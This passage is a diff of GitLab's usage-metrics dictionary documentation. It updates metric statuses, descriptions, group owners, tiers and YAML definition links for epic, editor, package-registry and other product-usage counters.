-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11190,7 +11334,7 @@ Counts of MAU setting epic start date as fixed
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11202,7 +11346,7 @@ Counts of WAU setting epic start date as fixed
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11214,7 +11358,7 @@ Counts of MAU setting epic start date as inherited
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11226,7 +11370,7 @@ Counts of WAU setting epic start date as inherited
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11238,7 +11382,7 @@ Count of MAU making epics visible
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11250,7 +11394,7 @@ Count of WAU making epics visible
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11262,7 +11406,7 @@ Counts of MAU changing epic descriptions
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11274,7 +11418,7 @@ Counts of WAU changing epic descriptions
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11286,7 +11430,7 @@ Counts of MAU updating epic notes
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11298,7 +11442,7 @@ Counts of WAU updating epic notes
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11310,7 +11454,7 @@ Counts of MAU updating parent on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11322,7 +11466,7 @@ Counts of WAU updating parent on epic
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11334,7 +11478,7 @@ Counts of MAU changing epic titles
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11346,7 +11490,7 @@ Counts of WAU changing epic titles
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11358,7 +11502,7 @@ Counts of MAU manually updating fixed due date
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11370,7 +11514,7 @@ Counts of WAU manually updating fixed due date
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11382,7 +11526,7 @@ Counts of MAU manually updating fixed start date
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11394,13 +11538,61 @@ Counts of WAU manually updating fixed start date
Group: `group::product planning`
-Status: `implemented`
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_monthly`
+
+Counts of MAU checking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421080207_g_project_management_users_checking_epic_task_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_checking_epic_task_weekly`
+
+Counts of WAU checking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421075943_g_project_management_users_checking_epic_task_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_monthly`
+
+Counts of MAU unchecking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421102516_g_project_management_users_unchecking_epic_task_monthly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.project_management_users_unchecking_epic_task_weekly`
+
+Counts of WAU unchecking epic task
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421102812_g_project_management_users_unchecking_epic_task_weekly.yml)
+
+Group: `group::product planning`
+
+Status: `data_available`
Tiers: `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_sfe_monthly`
-Missing description
+Number of users editing a file from the single file editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml)
@@ -11408,23 +11600,23 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_sfe_weekly`
-Missing description
+Weekly number of users editing from the single file editor
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml)
Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_monthly`
-Missing description
+Count of monthly edits to a snippet
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml)
@@ -11432,47 +11624,47 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_snippet_ide_weekly`
-Missing description
+Weekly number of users editing Snippets
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml)
Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_sse_monthly`
-Missing description
+Number of user editing files using the Static Site Editor
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml)
-Group: ``
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_sse_weekly`
-Missing description
+Weekly number of users editing using the Static Site Editor
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml)
-Group: ``
+Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_web_ide_monthly`
-Missing description
+Number of users editing a file from the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml)
@@ -11480,23 +11672,23 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.g_edit_by_web_ide_weekly`
-Missing description
+Weekly number of users editing using the Web IDE
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml)
Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_monthly`
-Missing description
+Count of unique users per month who edited a file from the Web IDE
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml)
@@ -11504,19 +11696,19 @@ Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.ide_edit.ide_edit_total_unique_counts_weekly`
-Missing description
+Weekly number of users editing a file using the Web IDE
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml)
Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.incident_management.incident_management_alert_assigned_monthly`
@@ -11910,7 +12102,7 @@ Count of unique users to receive a notification while on-call
Group: `group::monitor`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -11922,7 +12114,7 @@ Count of unique users to receive a notification while on-call
Group: `group::monitor`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -12744,27 +12936,27 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly`
-Missing description
+Monthly unique user count doing commits which contains the CI config file
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml)
-Group: ``
+Group: `group::pipeline authoring`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly`
-Missing description
+Weekly unique user count doing commits which contains the CI config file
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml)
-Group: ``
+Group: `group::pipeline authoring`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly`
@@ -12798,7 +12990,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -12810,7 +13002,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14550,7 +14742,7 @@ Count of expanding the security report widget
Group: `group::static analysis`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14562,33 +14754,33 @@ Count of expanding the security report widget
Group: `group::static analysis`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.snippets.i_snippets_show_monthly`
-Missing description
+Monthly number of users viewing snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml)
-Group: ``
+Group: `group::editor`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.snippets.i_snippets_show_weekly`
-Missing description
+Weekly number of users viewing snippets
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml)
-Group: ``
+Group: `group::editor`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.source_code.design_action_monthly`
@@ -14910,7 +15102,7 @@ Unique users that expand the test summary merge request widget by month
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -14922,7 +15114,7 @@ Unique users that expand the test summary merge request widget by week
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15006,7 +15198,7 @@ Count of expanding the accessibility report widget
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15018,7 +15210,7 @@ Count of expanding the accessibility report widget
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15030,7 +15222,7 @@ Count of expanding the code quality widget
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15042,253 +15234,277 @@ Count of expanding the code quality widget
Group: `group::testing`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_composer_user_monthly`
-Missing description
+A monthly count of users that have published a Composer package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_composer_user_weekly`
-Missing description
+A weekly count of users that have published a Composer package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_conan_user_monthly`
-Missing description
+A monthly count of users that have published a Conan package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_conan_user_weekly`
-Missing description
+A weekly count of users that have published a Conan package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_container_user_monthly`
-Missing description
+A monthly count of users that have published a container image to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_container_user_weekly`
-Missing description
+A weekly count of users that have published a container image to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_debian_user_monthly`
-Missing description
+A monthly count of users that have published a Debian package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_debian_user_weekly`
-Missing description
+A weekly count of users that have published a Debian package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_generic_user_monthly`
-Missing description
+A monthly count of users that have published a generic package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `broken`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_generic_user_weekly`
-Missing description
+A weekly count of users that have published a generic package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `broken`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_golang_user_monthly`
-Missing description
+A monthly count of users that have published a Go moduleto the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_golang_user_weekly`
-Missing description
+A weekly count of users that have published a Go module to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184911_i_package_golang_user_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_helm_user_monthly`
+
+Distinct user count events for Helm packages in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.user_packages.i_package_helm_user_weekly`
+
+Distinct user count events for Helm packages in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517075252_i_package_helm_user_weekly.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_maven_user_monthly`
-Missing description
+A monthly count of users that have published a Maven package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_maven_user_weekly`
-Missing description
+A weekly count of users that have published a Maven package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184916_i_package_maven_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_npm_user_monthly`
-Missing description
+A monthly count of users that have published an npm package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_npm_user_weekly`
-Missing description
+A weekly count of users that have published an npm package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184919_i_package_npm_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_nuget_user_monthly`
-Missing description
+A monthly count of users that have published a NuGet package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_nuget_user_weekly`
-Missing description
+A weekly count of users that have published a NuGet package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184923_i_package_nuget_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_pypi_user_monthly`
-Missing description
+A monthly count of users that have published a PyPI package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_pypi_user_weekly`
-Missing description
+A weekly count of users that have published a Python package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184927_i_package_pypi_user_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_rubygems_user_monthly`
-Distinct user count events for RubyGems packages in recent 28 days
+Distinct user count of RubyGems packages published in recent 28 days
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml)
@@ -15300,7 +15516,7 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_rubygems_user_weekly`
-Distinct user count events for RubyGems packages in recent 7 days
+A weekly count of distinct RubyGems packages published by a user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154652_i_package_rubygems_user_weekly.yml)
@@ -15312,27 +15528,27 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_tag_user_monthly`
-Missing description
+A monthly count of users that have published a package tag to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_tag_user_weekly`
-Missing description
+A weekly count of users that have published a package with a tag to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184931_i_package_tag_user_weekly.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_terraform_module_user_monthly`
@@ -15342,7 +15558,7 @@ Number of distinct users creating Terraform Module packages in recent 28 days
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15354,33 +15570,33 @@ Number of distinct users creating Terraform Module packages in recent 7 days
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.user_packages_total_unique_counts_monthly`
-Missing description
+A monthly count of users that have published a package to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.user_packages_total_unique_counts_weekly`
-Missing description
+A weekly count of users that have published a package to the registry
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184935_user_packages_total_unique_counts_weekly.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `reply_by_email_enabled`
@@ -15388,11 +15604,11 @@ Whether incoming email is setup
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124916_reply_by_email_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::certify`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `search_unique_visits.i_search_advanced`
@@ -15462,7 +15678,7 @@ Gitaly application performance
Group: `group::gitaly`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -15740,7 +15956,7 @@ Projects with Prometheus alerting enabled
Group: `group::configure`
-Status: `data_available`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -15986,7 +16202,7 @@ Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.create.snippets`
-Snippets
+Count of distinct author_id from snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180316_snippets.yml)
@@ -16068,6 +16284,18 @@ Status: `data_available`
Tiers: `premium`, `ultimate`
+### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_push_event_count_weekly`
+
+Number of Git push events from Prometheus on the Geo secondary
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210604110603_git_push_event_count_weekly.yml)
+
+Group: `group::geo`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
### `usage_activity_by_stage.enablement.geo_secondary_web_oauth_users`
Missing description
@@ -16076,7 +16304,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16112,7 +16340,7 @@ Total count of all custom compliance framework labels
Group: `compliance`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16166,15 +16394,15 @@ Tiers: `premium`
### `usage_activity_by_stage.manage.groups`
-Missing description
+Number of users who are group members.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180756_groups.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.manage.groups_imported`
@@ -16286,75 +16514,75 @@ Tiers: `free`
### `usage_activity_by_stage.manage.ldap_admin_sync_enabled`
-Has the instance configured LDAP Admin Sync `https://docs.gitlab.com/ee/administration/auth/ldap/#administrator-sync`?
+Has the instance configured [LDAP Admin Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#administrator-sync)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180811_ldap_admin_sync_enabled.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.manage.ldap_group_sync_enabled`
-Has the instance configured LDAP Group Sync `https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync`?
+Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync)
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180809_ldap_group_sync_enabled.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.manage.ldap_keys`
-Missing description
+Number of users creating keys synced as part of LDAP
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180800_ldap_keys.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180800_ldap_keys.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.manage.ldap_servers`
